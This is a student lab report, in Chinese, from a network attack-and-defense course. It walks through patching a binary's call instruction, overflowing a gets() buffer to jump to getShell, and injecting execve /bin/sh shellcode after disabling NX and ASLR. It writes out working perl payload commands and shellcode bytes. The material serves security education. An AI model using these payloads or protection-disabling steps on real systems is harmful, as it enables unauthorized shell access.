20222409 2024-2025-1 《网络与系统攻防技术》实验一实验报告
1.实验内容
1.1逆向工程与汇编基础：
掌握了汇编指令（如NOP、JMP等）在控制程序流中的作用。
学会使用objdump反汇编可执行文件，并通过十六进制编辑器修改机器码以改变程序执行流程。
1.2缓冲区溢出（Buffer Overflow）原理：
了解堆栈结构和返回地址覆盖，理解如何通过超长输入覆盖返回地址来控制程序流。
利用无边界检查的输入函数（如gets()）产生的漏洞，构造攻击Payload。
1.3Linux系统编程与调试：
使用gdb调试器分析程序运行状态，确定返回地址位置并验证攻击效果。
使用Linux命令行工具及perl脚本生成Payload
1.4Shellcode与代码注入：
理解Shellcode的构造与用途，利用NOP滑行区和返回地址组合实现注入攻击。
使用系统调用（如execve）在Shellcode中实现获取Shell等特定功能。
1.5系统防御机制与绕过技术：
掌握栈保护、数据执行保护（DEP/NX）、地址随机化（ASLR）等防御技术，并了解如何在实验中绕过这些保护措施。
2.实验过程
本次实验可以分为直接修改程序指令、利用缓冲区溢出漏洞进行攻击、注入并运行自定义Shellcode三个模块。使用的原件为pwn20222409，三个模块分别用原件的副本（分别命名为pwn20222409a、pwn20222409b、pwn20222409c）进行操作。
2.1直接修改程序指令
我们首先通过objdump反汇编目标文件pwn20222409a，定位到main函数中调用foo函数的call指令。接着，我们计算call指令目标地址偏移量，并手动将其修改为getShell函数的地址，从而使程序直接跳转到getShell函数运行。修改后，保存并验证文件，再次反汇编检查指令是否正确更改。最后，运行修改后的程序，成功触发getShell函数并获取到Shell，验证了手工修改机器指令能有效改变程序执行流。具体过程如下：
2.1.1反汇编程序
通过objdump工具将pwn1文件反汇编，查看其汇编代码：
objdump -d pwn20222409a | more
命令解释：
- objdump 一个GNU工具，可以显示二进制文件的汇编代码。
- -d 一个参数，表示对文件进行反汇编，将机器代码转化为汇编代码。
- pwn20222409a 要反汇编的文件。
- | more 表示将输出分页显示。
随后，找到找到getshell、foo和main函数，如图1所示。
图1: 反汇编结果显示的getShell、foo、main函数地址信息
汇编代码解释：
- 080484af：第一列为内存地址，这里指main函数的起始地址。
- e8 d7 ff ff ff：第二列为机器指令，这里指call指令。
- call 8048491
：第三列为机器指令对应的汇编语言，这里指调用位于8048491的foo函数。
在图1白色高亮的部分（内容如下）可以看到，main函数调用了foo函数。
80484b5: e8 d7 ff ff ff call 8048491 <foo>
2.1.2确定目标地址并计算偏移量
现在我们需要将main函数中的call foo改为调用getShell。首先，找到getShell的地址，而图1中有如下代码块：
0804847d <getShell>:
804847d: 55 push %ebp``
在这里，我们找到了 getShell 函数的地址：0804847d。
我们需要修改 call foo 指令，使其跳转到该地址，计算偏移量如下：
- 当前偏移量：8048491 - 80484ba = -41，补码为 d7ffffff。
- 目标偏移量：804847d - 80484ba = -61，补码为 c3ffffff。
因此，将 d7ffffff 修改为 c3ffffff，即可将 call foo 跳转改为 call getShell。
2.1.3 修改机器指令
接下来，我们需要将call foo的机器码e8 d7 ff ff ff改为e8 c3 ff ff ff。这个操作可以通过vi编辑器来完成。我们可以使用以下代码进入编辑器：
vi pwn20222409a
进入编辑器后，用以下代码切换到十六进制模式并找到我们要修改的机器指令：
:%!xxd
命令解释：
- :%!xxd 将文件显示为十六进制格式，方便我们直接看到机器码。
- xxd 是一个十六进制查看和编辑工具，用于在vi中切换文件显示格式。
接着，用以下代码搜索指令e8 d7以找到call foo的位置：
/e8 d7
命令解释：
- / 是vi中的搜索命令。
- e8d7 是我们要找到的十六进制代码的前两个字节。
找到位置后，键盘敲击i进入insert模式，将d7改为c3。完成修改后，键盘敲击esc退出insert模式。
最后将文件切换回原格式并保存退出：
:%!xxd -r
:wq
命令解释：
- :%!xxd -r 将文件切换回正常格式。
- :wq 用于保存并退出编辑器。
2.1.4运行并验证修改
保存修改后，我们再次反汇编pwn1文件来检查是否修改成功：
objdump -d pwn20222409a | more
现在你应当能看到call指令目标已从foo变为getShell。我们接着用以下命令运行文件：
./pwn20222409a
如果操作正确，程序将直接跳转到getShell并打开一个Shell。输入简单命令（如ls），确认获得Shell权限。如图2所示，就意味着我们成功改变了程序的执行流！
图2：修改后程序成功执行getShell
而未经历修改的原件pwn20222409的执行结果为如图3所示：
图3：未修改的程序正常执行foo函数，不调用getShell
2.2利用缓冲区溢出漏洞进行攻击
首先通过分析程序结构找到foo函数中的gets()函数漏洞，该函数无长度检查，使得超长输入能够覆盖返回地址；接着，使用调试工具gdb确定返回地址的位置并计算溢出偏移量，然后通过构造特定格式的攻击Payload，将返回地址改写为目标函数getShell的地址，从而绕过正常执行流程，最终成功获得Shell。
2.2.1漏洞分析
在pwn20222409b程序中，main函数调用foo，foo中调用gets()读取用户输入并打印。函数执行完毕后会返回main，正常情况下不会执行隐藏的getShell函数。
然而，我们通过分析发现gets()没有对输入长度进行检查，因此可能导致缓冲区溢出攻击。利用这个漏洞，我们可以向程序输入超长字符串，进而覆盖foo函数的返回地址，使程序跳转到任意指定的代码片段，从而强制执行getShell函数。
2.2.2寻找缓冲区溢出位置
缓冲区溢出攻击的核心是覆盖返回地址。为此，我们首先需要确定溢出开始位置及覆盖返回地址所需的偏移量。
使用以下代码加载程序。
gdb pwn20222409b
使用以下命令在gdb中运行程序
(gdb) r
输入以下长字符串后按回车，观察EIP寄存器是否被覆盖：
2022240920222409202224092022240920222409
通过info r命令查看当前寄存器状态，判断EIP是否为我们输入的字符串内容，结果如图4白色高亮部分所示。
(gdb) info r
图4：通过 gdb 检测缓冲区溢出后 EIP 寄存器的值显示字符覆盖情况。
看到EIP值变为0x32323032，表示字符2、2、0、2，与字符串中的2022（最后一个）对应，说明在此偏移量上成功覆盖了返回地址，用exit命令退出gdb。
(gdb) exit
2.2.3构造攻击Payload
在定位到覆盖返回地址的位置后，我们可以开始构造攻击Payload，使返回地址指向getShell函数的内存地址。
由图1可知getshall的内存地址为0x0804847d，故只要把原长字符串（2022240920222409202224092022240920222409）中最后一个20222409替换成getShell的地址0x0804847d即可，即替换成字符串
20222409202224092022240920222409\x7d\x84\x04\x08
接着，我们可以使用如下的perl命令构造Payload，将getShell地址写入溢出的部分：
perl -e 'print "20222409202224092022240920222409\x7d\x84\x04\x08\x0a""' > input
命令解释：
- perl -e '...'：使用Perl解释器执行紧跟在-e后面的代码。
- print "..."：输出指定的字符串。这里字符串包括了填充字符20222409202224092022240920222409和地址\x7d\x84\x04\x08，其中\x0a是换行符，表示结束输入。
- \x7d\x84\x04\x08：以小端字节序表示的getShell的内存地址
- > input：将生成的字符串重定向到input文件中。
之后，会生成一个生成一个包含这些16进制内容的文件input。使用xxd工具检查生成的input文件，代码如下，结果如图5所示：
xxd input
图5：使用 xxd 工具查看构造的攻击 Payload 内容，确认格式是否正确。
2.2.4执行攻击并验证
有了攻击Payload后，我们通过将该Payload作为输入，验证程序是否可以通过溢出跳转到getShell函数。
我们可以使用管道将构造好的Payload注入到pwn20222409b程序中，代码如下：
(cat input; cat) | ./pwn20222409b
如果Payload成功跳转到getShell函数，程序应返回Shell提示符。可以通过输入系统命令（如ls）来确认是否成功。如图6所示，输入ls，展现了当前文件夹下所有文件，这表明缓冲区溢出成功覆盖了返回地址，并跳转到getShell函数执行。：
图6：缓冲区溢出成功执行 getShell 并获得 Shell 权限后的截图。
2.3注入并运行自定义Shellcode
首先，我们需要理解Shellcode的基本原理。Shellcode是一段直接用于执行特定任务的机器码。一般情况下，Shellcode的用途是获取一个交互式Shell以便控制目标系统。在本实验中，我们将使用一段简单的Shellcode，它的作用是在Linux系统上启动/bin/sh。以下是我们在实验中使用的Shellcode：
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
2.3.1关闭防护机制
为了使Shellcode能成功执行，需要关闭一些系统保护机制，确保注入的代码可在栈上运行。
2.3.1.1设置堆栈为可执行
默认情况下，Linux系统会禁止在栈上执行代码（DEP/NX保护），因此我们需要使用execstack工具修改可执行文件以允许其在栈上运行代码，使用的命令如下：
sudo apt-get install execstack
命令解释：安装execstack工具。
execstack -s pwn20222409c
命令解释：为目标程序设置可执行堆栈。
可以使用的命令：
execstack -q pwn20222409c
命令解释：查询pwn20222409c文件当前的堆栈可执行状态。若设置成功，则输出结果应显示为 X pwn20222409c
2.3.1.2 关闭地址空间随机化（ASLR）
ASLR会随机化程序的内存地址，增加返回地址预测难度,为了实验，我们暂时关闭它，命令如下：
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space
命令解释：将ASLR设置为0，关闭地址随机化。
可以使用的命令：
more /proc/sys/kernel/randomize_va_space
命令解释：查看系统地址空间随机化（ASLR）的状态。
- 如果输出为“0”，则表示关闭ASLR，即本实验最后预期的现象
- 如果输出为“1”，则表示启用ASLR
- 如果输出为“2”，则表示完全启用ASLR
- 如果输出不是0，则需要关闭ASLR
2.3.2构造Payload
为了将Shellcode成功注入到目标程序，我们需要构造一个合适的Payload。Payload的主要结构为：前32字节填充NOP滑行区 + Shellcode + 返回地址。
构造并保存Payload的初步版本到文件input_shellcode_20222409中，先使用占位符代替返回地址，稍后调试确定实际的返回地址，代码如下：
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode_20222409
命令解释：
- \x90\x90\x90\x90\x90\x90：NOP滑行区
- \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80：Shellcode，用于执行/bin/sh获取Shell。
- \x90\x4\x3\x2\x1\x00：包含返回地址的占位符 \x4\x3\x2\x1，稍后会替换为Shellcode的实际地址。0x00用于标记字符串结束。
输入以下命令注入Payload并运行pwn20222409c：：
(cat input_shellcode_20222409; cat) | ./pwn20222409c
运行结果如图x所示：
图7：显示关闭 DEP/NX 防护，并使 pwn20222409c 栈可执行的操作结果。
2.3.3确定Shellcode地址并修改返回地址
在新的终端中找到目标程序的进程号，并使用GDB附加到该进程，命令如下，结果如图8所示：
ps -ef | grep pwn20222409c
图8：ps命令显示pwn20222409c的进程号
继续在新终端中，使用GDB附加到进程号为426551的pwn20222409c程序，以分析并找到Shellcode的确切位置，代码如下：
gdb pwn20222409c
attach 426551
继续在新终端中使用以下命令在返回指令处设置断点，并继续运行程序：
disassemble foo
运行结果如图9所示：
图9：GDB调试过程中设置foo函数返回地址断点
图9中ret的地址为0x080484ae，因此，在这里设置断点，使用的命令如下。
break *0x080484ae
键入c（continue）继续运行，随后在旧终端敲击enter，打断continue。
c
在新终端输入以下命令，查看栈顶指针的地址，找到Shellcode位置，为0xffffcfac：
info registers esp
使用以下命令在内存中查找该地址存放的内容，找到占位符0x04030201的位置，如图10所示。
x/16x 0xffffcfac
图10：通过ESP寄存器查看Shellcode的存放位置
Shellcode应在该地址加4的位置，此处为0xffffcfb0
2.3.4修改Payload的返回地址并注入
将占位符替换为确定的Shellcode起始地址0xffffcfb0，并使用小端格式进行表示。保存Payload到文件并重新注入。在旧窗口输入以下代码：
perl -e 'print "A" x 32;print "\xb0\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode_20222409
(cat input_shellcode_20222409; cat) | ./pwn20222409c
2.3.5验证结果
执行成功后，程序应跳转到Shellcode，并在Shell内执行，如图11所示。
图11：修改Payload返回地址后成功获取Shell的界面
3.问题及解决方案
- 问题1：2.1.3中，输入/e8d7显示pattern not found，如图12所示。
图12：十六进制编辑器中未找到指定的机器码模式 - 问题1解决方案： 实际上要查找的是e8 d7，中间有空格，可以换成/e8 d7 或者/d7ff
- 问题2：未安装gbd
- 问题2解决方案：使用sudo apt update和sudo apt install gdb命令安装gdb
- 问题3：想关闭 ASLR。但输入sudo echo 0 > /proc/sys/kernel/randomize_va_space时，系统都会显示zsh: permission denied: /proc/sys/kernel/randomize_va_space
- 问题3解决：I/O 重定向>由当前 shell 处理。解释器将该命令视为 3 个部分：①sudo echo 0 ②> ③/proc/sys/kernel/randomize_va_space
echo是使用超级用户权限执行的，而当前 shell（具有普通用户权限）尝试写入/proc/sys/kernel/randomize_va_space，就会由于权限不足触发Permission denied错误。只需使用超级用户权限运行 shell，并使用开关将命令传递给 shell -c，命令如下：
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space
4.学习感悟、思考等
在这次实验中，我深入学习了缓冲区溢出和Shellcode注入的核心原理，通过逆向分析、反汇编以及直接修改机器指令，理解了如何精准地控制程序流。我在实验的定位返回地址、调整Payload以及调试Shellcode过程中，遇到许多反复试错的难题，每一步都需要细致的计算和耐心调试，令我充分体验到攻防实践的复杂性和艰辛。然而，随着各个部分逐步成功，最终获得Shell权限的成就感让我更加坚定了继续深耕网络安全的决心。
